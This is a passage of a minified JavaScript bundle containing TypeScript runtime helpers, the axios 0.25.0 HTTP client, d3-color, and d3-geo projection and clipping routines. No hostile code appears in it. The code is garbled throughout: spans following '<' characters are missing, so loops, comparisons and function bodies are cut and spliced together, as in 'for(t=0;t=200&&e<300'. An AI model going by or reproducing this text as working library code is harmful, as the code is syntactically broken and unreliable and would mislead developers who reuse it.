Reflect&&"function"===typeof Reflect.metadata)return Reflect.metadata(e,t)}function c(e,t,n,r){return new(n||(n=Promise))((function(a,o){function i(e){try{s(r.next(e))}catch(t){o(t)}}function l(e){try{s(r.throw(e))}catch(t){o(t)}}function s(e){var t;e.done?a(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(i,l)}s((r=r.apply(e,t||[])).next())}))}function d(e,t){var n,r,a,o,i={label:0,sent:function(){if(1&a[0])throw a[1];return a[1]},trys:[],ops:[]};return o={next:l(0),throw:l(1),return:l(2)},"function"===typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function l(o){return function(l){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;i;)try{if(n=1,r&&(a=2&o[0]?r.return:o[0]?r.throw||((a=r.return)&&a.call(r),0):r.next)&&!(a=a.call(r,o[1])).done)return a;switch(r=0,a&&(o=[2&o[0],a.value]),o[0]){case 0:case 1:a=o;break;case 4:return i.label++,{value:o[1],done:!1};case 5:i.label++,r=o[1],o=[0];continue;case 7:o=i.ops.pop(),i.trys.pop();continue;default:if(!(a=(a=i.trys).length>0&&a[a.length-1])&&(6===o[0]||2===o[0])){i=0;continue}if(3===o[0]&&(!a||o[1]>a[0]&&o[1]=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function m(e,t){var n="function"===typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,a,o=n.call(e),i=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)i.push(r.value)}catch(l){a={error:l}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(a)throw a.error}}return i}function v(){for(var e=[],t=0;t1||l(e,t)}))})}function l(e,t){try{(n=a[e](t)).value instanceof b?Promise.resolve(n.value.v).then(s,u):c(o[0][2],n)}catch(r){c(o[0][3],r)}var n}function s(e){l("next",e)}function u(e){l("throw",e)}function c(e,t){e(t),o.shift(),o.length&&l(o[0][0],o[0][1])}}function w(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,a){t[r]=e[r]?function(t){return(n=!n)?{value:b(e[r](t)),done:"return"===r}:a?a(t):t}:a}}function x(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e=h(e),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,a){(function(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)})(r,a,(t=e[n](t)).done,t.value)}))}}}function E(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function S(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function k(e){return e&&e.__esModule?e:{default:e}}function _(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function C(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}},4569:function(e,t,n){e.exports=n(8036)},3381:function(e,t,n){"use strict";var r=n(3589),a=n(7297),o=n(9301),i=n(9774),l=n(1804),s=n(9145),u=n(5411),c=n(6467),d=n(221),f=n(9346);e.exports=function(e){return new Promise((function(t,n){var p,h=e.data,m=e.headers,v=e.responseType;function g(){e.cancelToken&&e.cancelToken.unsubscribe(p),e.signal&&e.signal.removeEventListener("abort",p)}r.isFormData(h)&&delete m["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var y=e.auth.username||"",w=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";m.Authorization="Basic "+btoa(y+":"+w)}var x=l(e.baseURL,e.url);function E(){if(b){var r="getAllResponseHeaders"in b?s(b.getAllResponseHeaders()):null,o={data:v&&"text"!==v&&"json"!==v?b.response:b.responseText,status:b.status,statusText:b.statusText,headers:r,config:e,request:b};a((function(e){t(e),g()}),(function(e){n(e),g()}),o),b=null}}if(b.open(e.method.toUpperCase(),i(x,e.params,e.paramsSerializer),!0),b.timeout=e.timeout,"onloadend"in b?b.onloadend=E:b.onreadystatechange=function(){b&&4===b.readyState&&(0!==b.status||b.responseURL&&0===b.responseURL.indexOf("file:"))&&setTimeout(E)},b.onabort=function(){b&&(n(c("Request aborted",e,"ECONNABORTED",b)),b=null)},b.onerror=function(){n(c("Network Error",e,null,b)),b=null},b.ontimeout=function(){var t=e.timeout?"timeout of "+e.timeout+"ms exceeded":"timeout exceeded",r=e.transitional||d.transitional;e.timeoutErrorMessage&&(t=e.timeoutErrorMessage),n(c(t,e,r.clarifyTimeoutError?"ETIMEDOUT":"ECONNABORTED",b)),b=null},r.isStandardBrowserEnv()){var S=(e.withCredentials||u(x))&&e.xsrfCookieName?o.read(e.xsrfCookieName):void 0;S&&(m[e.xsrfHeaderName]=S)}"setRequestHeader"in b&&r.forEach(m,(function(e,t){"undefined"===typeof h&&"content-type"===t.toLowerCase()?delete m[t]:b.setRequestHeader(t,e)})),r.isUndefined(e.withCredentials)||(b.withCredentials=!!e.withCredentials),v&&"json"!==v&&(b.responseType=e.responseType),"function"===typeof e.onDownloadProgress&&b.addEventListener("progress",e.onDownloadProgress),"function"===typeof e.onUploadProgress&&b.upload&&b.upload.addEventListener("progress",e.onUploadProgress),(e.cancelToken||e.signal)&&(p=function(e){b&&(n(!e||e&&e.type?new f("canceled"):e),b.abort(),b=null)},e.cancelToken&&e.cancelToken.subscribe(p),e.signal&&(e.signal.aborted?p():e.signal.addEventListener("abort",p))),h||(h=null),b.send(h)}))}},8036:function(e,t,n){"use strict";var r=n(3589),a=n(4049),o=n(3773),i=n(777);var l=function e(t){var n=new o(t),l=a(o.prototype.request,n);return r.extend(l,o.prototype,n),r.extend(l,n),l.create=function(n){return e(i(t,n))},l}(n(221));l.Axios=o,l.Cancel=n(9346),l.CancelToken=n(6857),l.isCancel=n(5517),l.VERSION=n(7600).version,l.all=function(e){return Promise.all(e)},l.spread=n(8089),l.isAxiosError=n(9580),e.exports=l,e.exports.default=l},9346:function(e){"use strict";function t(e){this.message=e}t.prototype.toString=function(){return"Cancel"+(this.message?": "+this.message:"")},t.prototype.__CANCEL__=!0,e.exports=t},6857:function(e,t,n){"use strict";var r=n(9346);function a(e){if("function"!==typeof e)throw new TypeError("executor must be a function.");var t;this.promise=new Promise((function(e){t=e}));var n=this;this.promise.then((function(e){if(n._listeners){var t,r=n._listeners.length;for(t=0;t=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*"}}};r.forEach(["delete","get","head"],(function(e){s.headers[e]={}})),r.forEach(["post","put","patch"],(function(e){s.headers[e]=r.merge(i)})),e.exports=s},7600:function(e){e.exports={version:"0.25.0"}},4049:function(e){"use strict";e.exports=function(e,t){return function(){for(var n=new Array(arguments.length),r=0;r=0)return;i[t]="set-cookie"===t?(i[t]?i[t]:[]).concat([n]):i[t]?i[t]+", "+n:n}})),i):i}},8089:function(e){"use strict";e.exports=function(e){return function(t){return e.apply(null,t)}}},7835:function(e,t,n){"use strict";var r=n(7600).version,a={};["object","boolean","number","function","string","symbol"].forEach((function(e,t){a[e]=function(n){return typeof n===e||"a"+(t<1?"n ":" ")+e}}));var o={};a.transitional=function(e,t,n){function a(e,t){return"[Axios v"+r+"] Transitional option '"+e+"'"+t+(n?". "+n:"")}return function(n,r,i){if(!1===e)throw new Error(a(r," has been removed"+(t?" in "+t:"")));return t&&!o[r]&&(o[r]=!0,console.warn(a(r," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(n,r,i)}},e.exports={assertOptions:function(e,t,n){if("object"!==typeof e)throw new TypeError("options must be an object");for(var r=Object.keys(e),a=r.length;a-- >0;){var o=r[a],i=t[o];if(i){var l=e[o],s=void 0===l||i(l,o,e);if(!0!==s)throw new TypeError("option "+o+" must be "+s)}else if(!0!==n)throw Error("Unknown option "+o)}},validators:a}},3589:function(e,t,n){"use strict";var r=n(4049),a=Object.prototype.toString;function o(e){return Array.isArray(e)}function i(e){return"undefined"===typeof e}function l(e){return"[object ArrayBuffer]"===a.call(e)}function s(e){return null!==e&&"object"===typeof e}function u(e){if("[object Object]"!==a.call(e))return!1;var t=Object.getPrototypeOf(e);return null===t||t===Object.prototype}function c(e){return"[object Function]"===a.call(e)}function d(e,t){if(null!==e&&"undefined"!==typeof e)if("object"!==typeof e&&(e=[e]),o(e))for(var n=0,r=e.length;n>8&15|t>>4&240,t>>4&15|240&t,(15&t)<<4|15&t,1):8===n?S(t>>24&255,t>>16&255,t>>8&255,(255&t)/255):4===n?S(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|240&t,((15&t)<<4|15&t)/255):null):(t=f.exec(e))?new C(t[1],t[2],t[3],1):(t=p.exec(e))?new C(255*t[1]/100,255*t[2]/100,255*t[3]/100,1):(t=h.exec(e))?S(t[1],t[2],t[3],t[4]):(t=m.exec(e))?S(255*t[1]/100,255*t[2]/100,255*t[3]/100,t[4]):(t=v.exec(e))?A(t[1],t[2]/100,t[3]/100,1):(t=g.exec(e))?A(t[1],t[2]/100,t[3]/100,t[4]):b.hasOwnProperty(e)?E(b[e]):"transparent"===e?new C(NaN,NaN,NaN,0):null}function E(e){return new C(e>>16&255,e>>8&255,255&e,1)}function S(e,t,n,r){return r<=0&&(e=t=n=NaN),new C(e,t,n,r)}function k(e){return e instanceof o||(e=x(e)),e?new C((e=e.rgb()).r,e.g,e.b,e.opacity):new C}function _(e,t,n,r){return 1===arguments.length?k(e):new C(e,t,n,null==r?1:r)}function C(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}function P(){return"#"+T(this.r)+T(this.g)+T(this.b)}function N(){var e=this.opacity;return(1===(e=isNaN(e)?1:Math.max(0,Math.min(1,e)))?"rgb(":"rgba(")+Math.max(0,Math.min(255,Math.round(this.r)||0))+", "+Math.max(0,Math.min(255,Math.round(this.g)||0))+", "+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===e?")":", "+e+")")}function T(e){return((e=Math.max(0,Math.min(255,Math.round(e)||0)))<16?"0":"")+e.toString(16)}function A(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new L(e,t,n,r)}function M(e){if(e instanceof L)return new L(e.h,e.s,e.l,e.opacity);if(e instanceof o||(e=x(e)),!e)return new L;if(e instanceof L)return e;var t=(e=e.rgb()).r/255,n=e.g/255,r=e.b/255,a=Math.min(t,n,r),i=Math.max(t,n,r),l=NaN,s=i-a,u=(i+a)/2;return s?(l=t===i?(n-r)/s+6*(n0&&u<1?0:l,new L(l,s,u,e.opacity)}function L(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}function O(e,t,n){return 255*(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)}r(o,x,{copy:function(e){return Object.assign(new this.constructor,this,e)},displayable:function(){return this.rgb().displayable()},hex:y,formatHex:y,formatHsl:function(){return M(this).formatHsl()},formatRgb:w,toString:w}),r(C,_,a(o,{brighter:function(e){return e=null==e?l:Math.pow(l,e),new C(this.r*e,this.g*e,this.b*e,this.opacity)},darker:function(e){return e=null==e?i:Math.pow(i,e),new C(this.r*e,this.g*e,this.b*e,this.opacity)},rgb:function(){return this},displayable:function(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:P,formatHex:P,formatRgb:N,toString:N})),r(L,(function(e,t,n,r){return 1===arguments.length?M(e):new L(e,t,n,null==r?1:r)}),a(o,{brighter:function(e){return e=null==e?l:Math.pow(l,e),new L(this.h,this.s,this.l*e,this.opacity)},darker:function(e){return e=null==e?i:Math.pow(i,e),new L(this.h,this.s,this.l*e,this.opacity)},rgb:function(){var e=this.h%360+360*(this.h<0),t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,a=2*n-r;return new C(O(e>=240?e-240:e+120,a,r),O(e,a,r),O(e<120?e+240:e-120,a,r),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl:function(){var e=this.opacity;return(1===(e=isNaN(e)?1:Math.max(0,Math.min(1,e)))?"hsl(":"hsla(")+(this.h||0)+", "+100*(this.s||0)+"%, "+100*(this.l||0)+"%"+(1===e?")":", "+e+")")}}))},9958:function(e,t,n){"use strict";n.r(t),n.d(t,{geoAlbers:function(){return Pr},geoAlbersUsa:function(){return Nr},geoArea:function(){return ie},geoAzimuthalEqualArea:function(){return Lr},geoAzimuthalEqualAreaRaw:function(){return Mr},geoAzimuthalEquidistant:function(){return Fr},geoAzimuthalEquidistantRaw:function(){return Or},geoBounds:function(){return ze},geoCentroid:function(){return Je},geoCircle:function(){return ct},geoClipAntimeridian:function(){return Pt},geoClipCircle:function(){return Nt},geoClipExtent:function(){return jt},geoClipRectangle:function(){return It},geoConicConformal:function(){return Hr},geoConicConformalRaw:function(){return Dr},geoConicEqualArea:function(){return Cr},geoConicEqualAreaRaw:function(){return _r},geoConicEquidistant:function(){return Vr},geoConicEquidistantRaw:function(){return Wr},geoContains:function(){return Jt},geoDistance:function(){return Vt},geoEqualEarth:function(){return Qr},geoEqualEarthRaw:function(){return Yr},geoEquirectangular:function(){return Ur},geoEquirectangularRaw:function(){return zr},geoGnomonic:function(){return Jr},geoGnomonicRaw:function(){return Xr},geoGraticule:function(){return rn},geoGraticule10:function(){return an},geoIdentity:function(){return ea},geoInterpolate:function(){return on},geoLength:function(){return zt},geoMercator:function(){return jr},geoMercatorRaw:function(){return Ir},geoNaturalEarth1:function(){return na},geoNaturalEarth1Raw:function(){return ta},geoOrthographic:function(){return aa},geoOrthographicRaw:function(){return ra},geoPath:function(){return ur},geoProjection:function(){return Er},geoProjectionMutator:function(){return Sr},geoRotation:function(){return lt},geoStereographic:function(){return ia},geoStereographicRaw:function(){return oa},geoStream:function(){return j},geoTransform:function(){return cr},geoTransverseMercator:function(){return sa},geoTransverseMercatorRaw:function(){return la}});var r=n(5671),a=n(3144),o=function(){function e(){(0,r.Z)(this,e),this._partials=new Float64Array(32),this._n=0}return(0,a.Z)(e,[{key:"add",value:function(e){for(var t=this._partials,n=0,r=0;r0){for(o=r[--a];a>0&&(e=o,!(n=(t=r[--a])-((o=e+t)-e))););a>0&&(n<0&&r[a-1]<0||n>0&&r[a-1]>0)&&(t=2*n)==(e=o+t)-o&&(o=e)}return o}}]),e}();var i=1e-6,l=1e-12,s=Math.PI,u=s/2,c=s/4,d=2*s,f=180/s,p=s/180,h=Math.abs,m=Math.atan,v=Math.atan2,g=Math.cos,b=Math.ceil,y=Math.exp,w=(Math.floor,Math.hypot),x=Math.log,E=Math.pow,S=Math.sin,k=Math.sign||function(e){return e>0?1:e<0?-1:0},_=Math.sqrt,C=Math.tan;function P(e){return e>1?0:e<-1?s:Math.acos(e)}function N(e){return e>1?u:e<-1?-u:Math.asin(e)}function T(e){return(e=S(e/2))*e}function A(){}function M(e,t){e&&O.hasOwnProperty(e.type)&&O[e.type](e,t)}var L={Feature:function(e,t){M(e.geometry,t)},FeatureCollection:function(e,t){for(var n=e.features,r=-1,a=n.length;++r=0?1:-1,a=r*n,o=g(t=(t*=p)/2+c),i=S(t),l=z*i,s=H*o+l*g(a),u=l*r*S(a);J.add(v(u,s)),D=e,H=o,z=i}function ie(e){return ee=new o,j(e,te),2*ee}function le(e){return[v(e[1],e[0]),N(e[2])]}function se(e){var t=e[0],n=e[1],r=g(n);return[r*g(t),r*S(t),S(n)]}function ue(e,t){return e[0]*t[0]+e[1]*t[1]+e[2]*t[2]}function ce(e,t){return[e[1]*t[2]-e[2]*t[1],e[2]*t[0]-e[0]*t[2],e[0]*t[1]-e[1]*t[0]]}function de(e,t){e[0]+=t[0],e[1]+=t[1],e[2]+=t[2]}function fe(e,t){return[e[0]*t,e[1]*t,e[2]*t]}function pe(e){var t=_(e[0]*e[0]+e[1]*e[1]+e[2]*e[2]);e[0]/=t,e[1]/=t,e[2]/=t}var he,me,ve,ge,be,ye,we,xe,Ee,Se,ke,_e,Ce,Pe,Ne,Te,Ae={point:Me,lineStart:Oe,lineEnd:Fe,polygonStart:function(){Ae.point=Ie,Ae.lineStart=je,Ae.lineEnd=Re,Y=new o,te.polygonStart()},polygonEnd:function(){te.polygonEnd(),Ae.point=Me,Ae.lineStart=Oe,Ae.lineEnd=Fe,J<0?(U=-(V=180),W=-(q=90)):Y>i?q=90:Y<-i&&(W=-90),X[0]=U,X[1]=V},sphere:function(){U=-(V=180),W=-(q=90)}};function Me(e,t){Q.push(X=[U=e,V=e]),tq&&(q=t)}function Le(e,t){var n=se([e*p,t*p]);if($){var r=ce($,n),a=ce([r[1],-r[0],0],r);pe(a),a=le(a);var o,i=e-Z,l=i>0?1:-1,s=a[0]*f*l,u=h(i)>180;u^(l*Zq&&(q=o):u^(l*Z<(s=(s+360)%360-180)&&sq&&(q=t)),u?eBe(U,V)&&(V=e):Be(e,V)>Be(U,V)&&(U=e):V>=U?(eV&&(V=e)):e>Z?Be(U,e)>Be(U,V)&&(V=e):Be(e,V)>Be(U,V)&&(U=e)}else Q.push(X=[U=e,V=e]);tq&&(q=t),$=n,Z=e}function Oe(){Ae.point=Le}function Fe(){X[0]=U,X[1]=V,Ae.point=Me,$=null}function Ie(e,t){if($){var n=e-Z;Y.add(h(n)>180?n+(n>0?360:-360):n)}else K=e,G=t;te.point(e,t),Le(e,t)}function je(){te.lineStart()}function Re(){Ie(K,G),te.lineEnd(),h(Y)>i&&(U=-(V=180)),X[0]=U,X[1]=V,$=null}function Be(e,t){return(t-=e)<0?t+360:t}function De(e,t){return e[0]-t[0]}function He(e,t){return e[0]<=e[1]?e[0]<=t&&t<=e[1]:tBe(r[0],r[1])&&(r[1]=a[1]),Be(a[0],r[1])>Be(r[0],r[1])&&(r[0]=a[0])):o.push(r=a);for(i=-1/0,t=0,r=o[n=o.length-1];t<=n;r=a,++t)a=o[t],(l=Be(r[1],a[0]))>i&&(i=l,U=a[0],V=r[1])}return Q=X=null,U===1/0||W===1/0?[[NaN,NaN],[NaN,NaN]]:[[U,W],[V,q]]}var Ue={sphere:A,point:We,lineStart:qe,lineEnd:Ge,polygonStart:function(){Ue.lineStart=$e,Ue.lineEnd=Ye},polygonEnd:function(){Ue.lineStart=qe,Ue.lineEnd=Ge}};function We(e,t){e*=p;var n=g(t*=p);Ve(n*g(e),n*S(e),S(t))}function Ve(e,t,n){++he,ve+=(e-ve)/he,ge+=(t-ge)/he,be+=(n-be)/he}function qe(){Ue.point=Ze}function Ze(e,t){e*=p;var n=g(t*=p);Pe=n*g(e),Ne=n*S(e),Te=S(t),Ue.point=Ke,Ve(Pe,Ne,Te)}function Ke(e,t){e*=p;var n=g(t*=p),r=n*g(e),a=n*S(e),o=S(t),i=v(_((i=Ne*o-Te*a)*i+(i=Te*r-Pe*o)*i+(i=Pe*a-Ne*r)*i),Pe*r+Ne*a+Te*o);me+=i,ye+=i*(Pe+(Pe=r)),we+=i*(Ne+(Ne=a)),xe+=i*(Te+(Te=o)),Ve(Pe,Ne,Te)}function Ge(){Ue.point=We}function $e(){Ue.point=Qe}function Ye(){Xe(_e,Ce),Ue.point=We}function Qe(e,t){_e=e,Ce=t,e*=p,t*=p,Ue.point=Xe;var n=g(t);Pe=n*g(e),Ne=n*S(e),Te=S(t),Ve(Pe,Ne,Te)}function Xe(e,t){e*=p;var n=g(t*=p),r=n*g(e),a=n*S(e),o=S(t),i=Ne*o-Te*a,l=Te*r-Pe*o,s=Pe*a-Ne*r,u=w(i,l,s),c=N(u),d=u&&-c/u;Ee.add(d*i),Se.add(d*l),ke.add(d*s),me+=c,ye+=c*(Pe+(Pe=r)),we+=c*(Ne+(Ne=a)),xe+=c*(Te+(Te=o)),Ve(Pe,Ne,Te)}function Je(e){he=me=ve=ge=be=ye=we=xe=0,Ee=new o,Se=new o,ke=new o,j(e,Ue);var t=+Ee,n=+Se,r=+ke,a=w(t,n,r);return as?e+Math.round(-e/d)*d:e,t]}function rt(e,t,n){return(e%=d)?t||n?tt(ot(e),it(t,n)):ot(e):t||n?it(t,n):nt}function at(e){return function(t,n){return[(t+=e)>s?t-d:t<-s?t+d:t,n]}}function ot(e){var t=at(e);return t.invert=at(-e),t}function it(e,t){var n=g(e),r=S(e),a=g(t),o=S(t);function i(e,t){var i=g(t),l=g(e)*i,s=S(e)*i,u=S(t),c=u*n+l*r;return[v(s*a-c*o,l*n-u*r),N(c*a+s*o)]}return i.invert=function(e,t){var i=g(t),l=g(e)*i,s=S(e)*i,u=S(t),c=u*a-s*o;return[v(s*a+u*o,l*n+c*r),N(c*n-l*r)]},i}function lt(e){function t(t){return(t=e(t[0]*p,t[1]*p))[0]*=f,t[1]*=f,t}return e=rt(e[0]*p,e[1]*p,e.length>2?e[2]*p:0),t.invert=function(t){return(t=e.invert(t[0]*p,t[1]*p))[0]*=f,t[1]*=f,t},t}function st(e,t,n,r,a,o){if(n){var i=g(t),l=S(t),s=r*n;null==a?(a=t+r*d,o=t-s/2):(a=ut(i,a),o=ut(i,o),(r>0?ao)&&(a+=r*d));for(var u,c=a;r>0?c>o:c1&&t.push(t.pop().concat(t.shift()))},result:function(){var n=t;return t=[],e=null,n}}}function ft(e,t){return h(e[0]-t[0])=0;--o)a.point((c=u[o])[0],c[1]);else r(f.x,f.p.x,-1,a);f=f.p}u=(f=f.o).z,p=!p}while(!f.v);a.lineEnd()}}}function mt(e){if(t=e.length){for(var t,n,r=0,a=e[0];++r=0?1:-1,j=I*F,R=j>s,B=_*L;if(h.add(v(B*I*S(j),C*O+B*g(j))),f+=R?F+I*d:F,R^E>=n^A>=n){var D=ce(se(x),se(T));pe(D);var H=ce(l,D);pe(H);var z=(R^F>=0?-1:1)*N(H[2]);(r>z||r===z&&(D[0]||D[1]))&&(p+=R^F>=0?1:-1)}}return(f<-i||f0){for(d||(a.polygonStart(),d=!0),a.lineStart(),e=0;e1&&2&s&&f.push(f.pop().concat(f.shift())),i.push(f.filter(_t))}return f}}function _t(e){return e.length>1}function Ct(e,t){return((e=e.x)[0]<0?e[1]-u-i:u-e[1])-((t=t.x)[0]<0?t[1]-u-i:u-t[1])}var Pt=kt((function(){return!0}),(function(e){var t,n=NaN,r=NaN,a=NaN;return{lineStart:function(){e.lineStart(),t=1},point:function(o,l){var c=o>0?s:-s,d=h(o-n);h(d-s)0?u:-u),e.point(a,r),e.lineEnd(),e.lineStart(),e.point(c,r),e.point(o,r),t=0):a!==c&&d>=s&&(h(n-a)i?m((S(t)*(o=g(r))*S(n)-S(r)*(a=g(t))*S(e))/(a*o*l)):(t+r)/2}(n,r,o,l),e.point(a,r),e.lineEnd(),e.lineStart(),e.point(c,r),t=0),e.point(n=o,r=l),a=c},lineEnd:function(){e.lineEnd(),n=r=NaN},clean:function(){return 2-t}}}),(function(e,t,n,r){var a;if(null==e)a=n*u,r.point(-s,a),r.point(0,a),r.point(s,a),r.point(s,0),r.point(s,-a),r.point(0,-a),r.point(-s,-a),r.point(-s,0),r.point(-s,a);else if(h(e[0]-t[0])>i){var o=e[0]0,a=h(t)>i;function o(e,n){return g(e)*g(n)>t}function l(e,n,r){var a=[1,0,0],o=ce(se(e),se(n)),l=ue(o,o),u=o[0],c=l-u*u;if(!c)return!r&&e;var d=t*l/c,f=-t*u/c,p=ce(a,o),m=fe(a,d);de(m,fe(o,f));var v=p,g=ue(m,v),b=ue(v,v),y=g*g-b*(ue(m,m)-1);if(!(y<0)){var w=_(y),x=fe(v,(-g-w)/b);if(de(x,m),x=le(x),!r)return x;var E,S=e[0],k=n[0],C=e[1],P=n[1];k0^x[1]<(h(x[0]-S)s^(S<=x[0]&&x[0]<=k)){var A=fe(v,(-g+w)/b);return de(A,m),[x,le(A)]}}}function u(t,n){var a=r?e:s-e,o=0;return t<-a?o|=1:t>a&&(o|=2),n<-a?o|=4:n>a&&(o|=8),o}return kt(o,(function(e){var t,n,i,c,d;return{lineStart:function(){c=i=!1,d=1},point:function(f,p){var h,m=[f,p],v=o(f,p),g=r?v?0:u(f,p):v?u(f+(f<0?s:-s),p):0;if(!t&&(c=i=v)&&e.lineStart(),v!==i&&(!(h=l(t,m))||ft(t,h)||ft(m,h))&&(m[2]=1),v!==i)d=0,v?(e.lineStart(),h=l(m,t),e.point(h[0],h[1])):(h=l(t,m),e.point(h[0],h[1],2),e.lineEnd()),t=h;else if(a&&t&&r^v){var b;g&n||!(b=l(m,t,!0))||(d=0,r?(e.lineStart(),e.point(b[0][0],b[0][1]),e.point(b[1][0],b[1][1]),e.lineEnd()):(e.point(b[1][0],b[1][1]),e.lineEnd(),e.lineStart(),e.point(b[0][0],b[0][1],3)))}!v||t&&ft(t,m)||e.point(m[0],m[1]),t=m,i=v,n=g},lineEnd:function(){i&&e.lineEnd(),t=null},clean:function(){return d|(c&&i)<<1}}}),(function(t,r,a,o){st(o,e,n,a,t,r)}),r?[0,-e]:[-s,e-s])}var Tt,At,Mt,Lt,Ot=1e9,Ft=-Ot;function It(e,t,n,r){function a(a,o){return e<=a&&a<=n&&t<=o&&o<=r}function o(a,o,i,s){var c=0,d=0;if(null==a||(c=l(a,i))!==(d=l(o,i))||u(a,o)<0^i>0)do{s.point(0===c||3===c?e:n,c>1?r:t)}while((c=(c+i+4)%4)!==d);else s.point(o[0],o[1])}function l(r,a){return h(r[0]-e)0?0:3:h(r[0]-n)0?2:1:h(r[1]-t)0?1:0:a>0?3:2}function s(e,t){return u(e.x,t.x)}function u(e,t){var n=l(e,1),r=l(t,1);return n!==r?n-r:0===n?t[1]-e[1]:1===n?e[0]-t[0]:2===n?e[1]-t[1]:t[0]-e[0]}return function(i){var l,u,c,d,f,p,h,m,v,g,b,y=i,w=dt(),x={point:E,lineStart:function(){x.point=S,u&&u.push(c=[]);g=!0,v=!1,h=m=NaN},lineEnd:function(){l&&(S(d,f),p&&v&&w.rejoin(),l.push(w.result()));x.point=E,v&&y.lineEnd()},polygonStart:function(){y=w,l=[],u=[],b=!0},polygonEnd:function(){var t=function(){for(var t=0,n=0,a=u.length;nr&&(f-o)*(r-i)>(p-i)*(e-o)&&++t:p<=r&&(f-o)*(r-i)<(p-i)*(e-o)&&--t;return t}(),n=b&&t,a=(l=St(l)).length;(n||a)&&(i.polygonStart(),n&&(i.lineStart(),o(null,null,1,i),i.lineEnd()),a&&ht(l,s,t,o,i),i.polygonEnd());y=i,l=u=c=null}};function E(e,t){a(e,t)&&y.point(e,t)}function S(o,i){var l=a(o,i);if(u&&c.push([o,i]),g)d=o,f=i,p=l,g=!1,l&&(y.lineStart(),y.point(o,i));else if(l&&v)y.point(o,i);else{var s=[h=Math.max(Ft,Math.min(Ot,h)),m=Math.max(Ft,Math.min(Ot,m))],w=[o=Math.max(Ft,Math.min(Ot,o)),i=Math.max(Ft,Math.min(Ot,i))];!function(e,t,n,r,a,o){var i,l=e[0],s=e[1],u=0,c=1,d=t[0]-l,f=t[1]-s;if(i=n-l,d||!(i>0)){if(i/=d,d<0){if(i0){if(i>c)return;i>u&&(u=i)}if(i=a-l,d||!(i<0)){if(i/=d,d<0){if(i>c)return;i>u&&(u=i)}else if(d>0){if(i0)){if(i/=f,f<0){if(i0){if(i>c)return;i>u&&(u=i)}if(i=o-s,f||!(i<0)){if(i/=f,f<0){if(i>c)return;i>u&&(u=i)}else if(f>0){if(i0&&(e[0]=l+u*d,e[1]=s+u*f),c<1&&(t[0]=l+c*d,t[1]=s+c*f),!0}}}}}(s,w,e,t,n,r)?l&&(y.lineStart(),y.point(o,i),b=!1):(v||(y.lineStart(),y.point(s[0],s[1])),y.point(w[0],w[1]),l||y.lineEnd(),b=!1)}h=o,m=i,v=l}return x}}function jt(){var e,t,n,r=0,a=0,o=960,i=500;return n={stream:function(n){return e&&t===n?e:e=It(r,a,o,i)(t=n)},extent:function(l){return arguments.length?(r=+l[0][0],a=+l[0][1],o=+l[1][0],i=+l[1][1],e=t=null,n):[[r,a],[o,i]]}}}var Rt={sphere:A,point:A,lineStart:function(){Rt.point=Dt,Rt.lineEnd=Bt},lineEnd:A,polygonStart:A,polygonEnd:A};function Bt(){Rt.point=Rt.lineEnd=A}function Dt(e,t){At=e*=p,Mt=S(t*=p),Lt=g(t),Rt.point=Ht}function Ht(e,t){e*=p;var n=S(t*=p),r=g(t),a=h(e-At),o=g(a),i=r*S(a),l=Lt*n-Mt*r*o,s=Mt*n+Lt*r*o;Tt.add(v(_(i*i+l*l),s)),At=e,Mt=n,Lt=r}function zt(e){return Tt=new o,j(e,Rt),+Tt}var Ut=[null,null],Wt={type:"LineString",coordinates:Ut};function Vt(e,t){return Ut[0]=e,Ut[1]=t,zt(Wt)}var qt={Feature:function(e,t){return Kt(e.geometry,t)},FeatureCollection:function(e,t){for(var n=e.features,r=-1,a=n.length;++r0&&(a=Vt(e[o],e[o-1]))>0&&n<=a&&r<=a&&(n+r-a)*(1-Math.pow((n-r)/a,2))i})).map(u)).concat(en(b(o/m)*m,a,m).filter((function(e){return h(e%g)>i})).map(c))}return w.lines=function(){return x().map((function(e){return{type:"LineString",coordinates:e}}))},w.outline=function(){return{type:"Polygon",coordinates:[d(r).concat(f(l).slice(1),d(n).reverse().slice(1),f(s).reverse().slice(1))]}},w.extent=function(e){return arguments.length?w.extentMajor(e).extentMinor(e):w.extentMinor()},w.extentMajor=function(e){return 